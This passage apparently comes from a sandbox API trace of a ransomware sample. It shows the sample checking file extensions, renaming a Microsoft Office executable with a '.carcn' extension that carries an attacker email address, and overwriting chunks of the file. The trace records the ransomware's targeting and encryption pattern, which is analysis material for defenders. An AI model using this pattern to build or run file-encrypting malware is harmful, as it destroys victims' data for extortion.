(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.024] lstrlenW (lpString=".zip") returned 4 [0295.024] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.024] lstrlenW (lpString=".rar") returned 4 [0295.024] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.024] lstrlenW (lpString=".bz2") returned 4 [0295.024] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.024] lstrlenW (lpString=".7z") returned 3 [0295.024] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.024] lstrlenW (lpString=".dbf") returned 4 [0295.024] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.024] lstrlenW (lpString=".1cd") returned 4 [0295.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.024] lstrlenW (lpString=".jpg") returned 4 [0295.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.025] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0295.025] lstrlenW (lpString="msvcp140.dll") returned 12 [0295.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0295.026] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=635040) returned 1 [0295.026] CloseHandle (hObject=0x338) returned 1 [0295.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0295.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.026] lstrlenW (lpString=".doc") returned 4 [0295.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.026] lstrlenW (lpString=".docx") returned 5 [0295.026] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.027] lstrlenW (lpString=".pdf") returned 4 [0295.027] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.027] lstrlenW (lpString=".xls") returned 4 [0295.027] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.027] lstrlenW (lpString=".xlsx") returned 5 [0295.027] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.027] lstrlenW (lpString=".ppt") returned 4 [0295.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.027] lstrlenW (lpString=".zip") returned 4 [0295.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.027] lstrlenW (lpString=".rar") returned 4 [0295.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.027] lstrlenW (lpString=".bz2") returned 4 [0295.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.027] lstrlenW (lpString=".7z") returned 3 [0295.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.027] lstrlenW (lpString=".dbf") returned 4 [0295.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.027] lstrlenW (lpString=".1cd") returned 4 [0295.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.027] lstrlenW (lpString=".jpg") returned 4 [0295.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.028] lstrlenW (lpString=".doc") returned 4 [0295.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.028] lstrlenW (lpString=".docx") returned 5 [0295.028] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.028] lstrlenW (lpString=".pdf") returned 4 [0295.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.028] lstrlenW (lpString=".xls") returned 4 [0295.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.028] lstrlenW (lpString=".xlsx") returned 5 [0295.028] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.028] lstrlenW (lpString=".ppt") returned 4 [0295.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.028] lstrlenW (lpString=".zip") returned 4 [0295.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.028] lstrlenW (lpString=".rar") returned 4 [0295.028] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.028] lstrlenW (lpString=".bz2") returned 4 [0295.028] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.028] lstrlenW (lpString=".7z") returned 3 [0295.028] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.028] lstrlenW (lpString=".dbf") returned 4 [0295.028] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.028] lstrlenW (lpString=".1cd") returned 4 [0295.028] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0295.028] lstrlenW (lpString=".jpg") returned 4 [0295.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.029] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0295.029] lstrlenW (lpString="msvcr120.dll") returned 12 [0295.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0295.029] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=963240) returned 1 [0295.029] CloseHandle (hObject=0x338) returned 1 [0295.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0295.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.030] lstrlenW (lpString=".doc") returned 4 [0295.030] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.030] lstrlenW (lpString=".docx") returned 5 [0295.030] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.030] lstrlenW (lpString=".pdf") returned 4 [0295.030] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.030] lstrlenW (lpString=".xls") returned 4 [0295.030] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.030] lstrlenW (lpString=".xlsx") returned 5 [0295.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.030] lstrlenW (lpString=".ppt") returned 4 [0295.030] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.030] lstrlenW (lpString=".zip") returned 4 [0295.030] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.030] lstrlenW (lpString=".rar") returned 4 [0295.030] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.030] lstrlenW (lpString=".bz2") returned 4 [0295.030] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.031] lstrlenW (lpString=".7z") returned 3 [0295.031] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.031] lstrlenW (lpString=".dbf") returned 4 [0295.031] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.031] lstrlenW (lpString=".1cd") returned 4 [0295.031] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.031] lstrlenW (lpString=".jpg") returned 4 [0295.031] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.031] lstrlenW (lpString=".doc") returned 4 [0295.031] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.031] lstrlenW (lpString=".docx") returned 5 [0295.031] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.031] lstrlenW (lpString=".pdf") returned 4 [0295.031] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.031] lstrlenW (lpString=".xls") returned 4 [0295.031] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.031] lstrlenW (lpString=".xlsx") returned 5 [0295.031] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.031] lstrlenW (lpString=".ppt") returned 4 [0295.031] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.031] lstrlenW (lpString=".zip") returned 4 [0295.031] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.032] lstrlenW (lpString=".rar") returned 4 [0295.032] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.032] lstrlenW (lpString=".bz2") returned 4 [0295.032] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.032] lstrlenW (lpString=".7z") returned 3 [0295.032] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.032] lstrlenW (lpString=".dbf") returned 4 [0295.032] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.032] lstrlenW (lpString=".1cd") returned 4 [0295.032] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0295.032] lstrlenW (lpString=".jpg") returned 4 [0295.032] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.032] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0295.032] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0295.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0295.033] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5967976) returned 1 [0295.033] CloseHandle (hObject=0x338) returned 1 [0295.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0295.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0295.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0295.034] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0x0) returned 1 [0295.034] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0295.034] ReadFile (in: hFile=0x338, lpBuffer=0x3f52058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f52058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0295.039] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0295.039] ReadFile (in: hFile=0x338, lpBuffer=0x3f92058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f92058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0295.067] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0295.067] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0295.067] ReadFile (in: hFile=0x338, lpBuffer=0x3fd2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3fd2058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0295.547] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.547] WriteFile (in: hFile=0x338, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x34ffca8, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffca8*=0xc0112, lpOverlapped=0x0) returned 1 [0295.602] SetEndOfFile (hFile=0x338) returned 1 [0295.602] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x44748c0 [0296.046] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0296.046] WriteFile (in: hFile=0x338, lpBuffer=0x44748c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44748c0*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0296.048] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0296.048] WriteFile (in: hFile=0x338, lpBuffer=0x44748c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44748c0*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0296.054] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0296.054] WriteFile (in: hFile=0x338, lpBuffer=0x44748c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44748c0*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0296.057] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0296.059] CloseHandle (hObject=0x338) returned 1 [0296.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0296.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.059] lstrlenW (lpString=".doc") returned 4 [0296.060] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.060] lstrlenW (lpString=".docx") returned 5 [0296.060] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0296.060] lstrlenW (lpString=".pdf") returned 4 [0296.060] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.060] lstrlenW (lpString=".xls") returned 4 [0296.060] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.060] lstrlenW (lpString=".xlsx") returned 5 [0296.060] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0296.060] lstrlenW (lpString=".ppt") returned 4 [0296.060] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.060] lstrlenW (lpString=".zip") returned 4 [0296.060] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.060] lstrlenW (lpString=".rar") returned 4 [0296.060] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.060] lstrlenW (lpString=".bz2") returned 4 [0296.060] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.060] lstrlenW (lpString=".7z") returned 3 [0296.060] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.060] lstrlenW (lpString=".dbf") returned 4 [0296.060] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.060] lstrlenW (lpString=".1cd") returned 4 [0296.060] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.060] lstrlenW (lpString=".jpg") returned 4 [0296.060] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.061] lstrlenW (lpString=".doc") returned 4 [0296.061] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.061] lstrlenW (lpString=".docx") returned 5 [0296.061] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0296.061] lstrlenW (lpString=".pdf") returned 4 [0296.061] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.061] lstrlenW (lpString=".xls") returned 4 [0296.061] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.061] lstrlenW (lpString=".xlsx") returned 5 [0296.061] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0296.061] lstrlenW (lpString=".ppt") returned 4 [0296.061] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.061] lstrlenW (lpString=".zip") returned 4 [0296.061] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.061] lstrlenW (lpString=".rar") returned 4 [0296.061] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.061] lstrlenW (lpString=".bz2") returned 4 [0296.061] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.061] lstrlenW (lpString=".7z") returned 3 [0296.061] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.061] lstrlenW (lpString=".dbf") returned 4 [0296.061] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.061] lstrlenW (lpString=".1cd") returned 4 [0296.061] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0296.062] lstrlenW (lpString=".jpg") returned 4 [0296.062] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.062] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0296.062] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0296.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0296.062] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=10752) returned 1 [0296.062] CloseHandle (hObject=0x338) returned 1 [0296.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0296.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.063] lstrlenW (lpString=".doc") returned 4 [0296.063] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.063] lstrlenW (lpString=".docx") returned 5 [0296.063] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.063] lstrlenW (lpString=".pdf") returned 4 [0296.063] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.063] lstrlenW (lpString=".xls") returned 4 [0296.063] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.063] lstrlenW (lpString=".xlsx") returned 5 [0296.063] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.063] lstrlenW (lpString=".ppt") returned 4 [0296.063] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.063] lstrlenW (lpString=".zip") returned 4 [0296.063] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.063] lstrlenW (lpString=".rar") returned 4 [0296.063] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.064] lstrlenW (lpString=".bz2") returned 4 [0296.064] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.064] lstrlenW (lpString=".7z") returned 3 [0296.064] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.064] lstrlenW (lpString=".dbf") returned 4 [0296.064] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.064] lstrlenW 